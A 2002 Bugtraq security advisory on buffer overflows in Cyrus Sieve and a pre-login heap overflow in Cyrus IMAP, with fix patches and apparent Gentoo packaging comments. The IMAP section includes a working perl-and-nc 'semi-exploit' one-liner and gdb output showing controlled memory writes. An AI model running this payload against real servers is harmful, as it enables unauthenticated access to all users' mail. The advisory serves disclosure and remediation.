Cyrus Sieve / libSieve buffer overflow From: Timo Sirainen <tss@iki.fi> To: bugtraq@securityfocus.com Date: Mon, 2 Dec 2002 19:56:45 +0200 problem ------- Cyrus' Sieve implementation contains a couple of classic string based buffer overflows in script parsing code. Anyone who can execute Sieve scripts can exploit these bugs. Versions up to libSieve 2.1.2 and Cyrus IMAP 2.1.10 are affected. Note that with Cyrus IMAP server exploiting this gives you the privileges of Cyrus user, capable of reading all users mails. Problem comes when giving the script a >100 chars long corrupted header name, >100 chars long IMAP flag or a script that contains lots of errors to overflow the 500 char limit in error message. fix --- Apply the included patch. Note that this changes only the yacc files, you still need to generate .c files from them. libSieve 2.1.3 will hopefully also contain some more hardening against potential buffer overflows. diff -ru cyrus-imapd-2.1.10-old/sieve/addr.y cyrus-imapd-2.1.10/sieve/addr.y --- cyrus-imapd-2.1.10-old/sieve/addr.y 2002-10-28 18:30:18.000000000 +0200 +++ cyrus-imapd-2.1.10/sieve/addr.y 2002-12-02 04:52:58.000000000 +0200 @@ -82,8 +82,9 @@ /* copy address error message into buffer provided by sieve parser */ int yyerror(char *s) { -extern char addrerr[]; +extern char addrerr[512]; - strcpy(addrerr, s); + strncpy(addrerr, s, sizeof(addrerr)-1); + addrerr[sizeof(addrerr)-1] = '\0'; return 0; } diff -ru cyrus-imapd-2.1.10-old/sieve/sieve.y cyrus-imapd-2.1.10/sieve/sieve.y --- cyrus-imapd-2.1.10-old/sieve/sieve.y 2002-05-14 19:51:50.000000000 +0300 +++ cyrus-imapd-2.1.10/sieve/sieve.y 2002-12-02 03:57:17.000000000 +0200 @@ -810,7 +810,7 @@ addrptr = s; addrerr[0] = '\0'; /* paranoia */ if (addrparse()) { - sprintf(errbuf, "address '%s': %s", s, addrerr); + snprintf(errbuf, sizeof(errbuf), "address '%s': %s", s, addrerr); yyerror(errbuf); return 0; } @@ -835,7 +835,7 @@ ; controls, SP, and ; ":". */ if (!((*h >= 33 && *h <= 57) || (*h >= 59 && *h <= 126))) { - sprintf(errbuf, "header '%s': not a valid header", hdr); + snprintf(errbuf, sizeof(errbuf), "header '%s': not a valid header", hdr); yyerror(errbuf); return 0; } @@ -853,14 +853,14 @@ if (strcmp(f, "\\seen") && strcmp(f, "\\answered") && strcmp(f, "\\flagged") && strcmp(f, "\\draft") && strcmp(f, "\\deleted")) { - sprintf(errbuf, "flag '%s': not a system flag", f); + snprintf(errbuf, sizeof(errbuf), "flag '%s': not a system flag", f); yyerror(errbuf); return 0; } return 1; } if (!imparse_isatom(f)) { - sprintf(errbuf, "flag '%s': not a valid keyword", f); + snprintf(errbuf, sizeof(errbuf), "flag '%s': not a valid keyword", f); yyerror(errbuf); return 0; }
pre-login buffer overflow in Cyrus IMAP server From: Timo Sirainen <tss@iki.fi> To: bugtraq@securityfocus.com Date: Mon, 2 Dec 2002 19:56:06 +0200 problem ------- Cyrus IMAP server has a a remotely exploitable pre-login buffer overflow. I checked versions 1.4 (oldest in web page) and 2.1.10 which both had it, so apparently all versions are affected. Problem is that literal lengths aren't verified to be in any reasonable range. The length + 2 is then malloc()ed and later written into. So given length of 2^32-1, we get malloc(1) call but ability to write 2^32-1 bytes there. Note that you don't have to log in before exploiting this, and since Cyrus runs everything under one UID, it's possible to read every user's mail in the system. I verified that this is exploitable with GLIBC 2.3.1. Probably possible with older glibcs as well although they had somewhat different malloc() code. No idea about other libcs, BSD ones look safe. There could be of course other ways to exploit it than just malloc headers. (BTW. Why is it that glibc's malloc implementation is almost begging to be exploited? I don't think it would be that difficult to create safer implementation with internal structures in separate memory pages, possibly even separated with non-writable page(s) between. Could even be faster because of better CPU cache utilization, and maybe made to take less memory.) There's several other malloc/integer related problems where it's possible to read over 2GB strings from clients into memory accessing it with signed integers, finally wrapping into -2^31. That's probably not too bad since it can work only with >2GB process limits (only 64bit architectures I'd think) and even then it would quite likely access only unmapped memory. Authors were first contacted 30. October, I think it's way past the fix time. semi-exploit ------------ perl -e 'print "x login {4294967295}\r\n\xf0\xef\xff\xbf\x90\xef\xff\xbf\xfc\xff\xff\xff\xfc\xff\xff\xff";'|nc localhost imap2 <ctrl-c> The first 4 bytes specify the address where you want to write to in memory and the next 4 bytes is the data to be written there (must be a readable memory address). Rest of the bytes are overwriting prev_size and size in malloc header. The above values work with cyrus21 package in Debian unstable/x86. gdb verifies that the call was successful: Program received signal SIGSEGV, Segmentation fault. 0xbfffef90 in ?? () (gdb) bt #0 0xbfffef90 in ?? () #1 0x400233e9 in prop_dispose () from /usr/lib/libsasl2.so.2 #2 0x4002ae1a in sasl_setpass () from /usr/lib/libsasl2.so.2 #3 0x40026cd2 in sasl_dispose () from /usr/lib/libsasl2.so.2 Shouldn't be too hard to come up with a real exploit from there on. You also need to make one "x logout\n" connection first to trigger the exploit (Cyrus reuses the processes). fix --- Apply the included patch and set some reasonable ulimits to make sure the other integer overflows won't hit you in future. diff -ru cyrus-imapd-2.1.10-old/imap/imapparse.c cyrus-imapd-2.1.10/imap/imapparse.c --- cyrus-imapd-2.1.10-old/imap/imapparse.c 2002-06-24 21:58:41.000000000 +0300 +++ cyrus-imapd-2.1.10/imap/imapparse.c 2002-11-29 00:20:44.000000000 +0200 @@ -97,7 +97,7 @@ struct buf *buf, int type) { int c; - int i; + unsigned int i; unsigned int len = 0; int sawdigit = 0; int isnowait; @@ -228,6 +228,16 @@ if (c != EOF) prot_ungetc(c, pin); return EOF; } + if (len > 65536) { + if (isnowait) { + for (i = 0; i < len; i++) + c = prot_getc(pin); + } + prot_printf(pout, "* BAD Literal too large\r\n"); + prot_flush(pout); + if (c != EOF) prot_ungetc(c, pin); + return EOF; + } if (len >= buf->alloc) { buf->alloc = len+1; buf->s = xrealloc(buf->s, buf->alloc+1);
I have added cyrus-sasl-2.1.9 has stable to portage. I have also added cyrus-imap*-2.1.10 to portage marked unstable. It contains the included patches. As a note, the included diffs did not work, I needed to manually make the changes and create the diffs. Please test and let me know if things work properly for you with these updated packages.
as soon as I put up 2.1.10 w/fixes it seems they were pulled from the servers. blah. 2.1.11 has been released w/the fixes included. I am going through the ebuild currently and making sure it builds with full support. I have slowly, one by one gotten rid of just about every warning and error that shows up. Almost done. :)
cyrus-imap*-2.1.11 has been added to portage. Please test this release and let me know if you run into any problems.
Any problems with 2.1.11 so far?
unmasked and glsa sent.
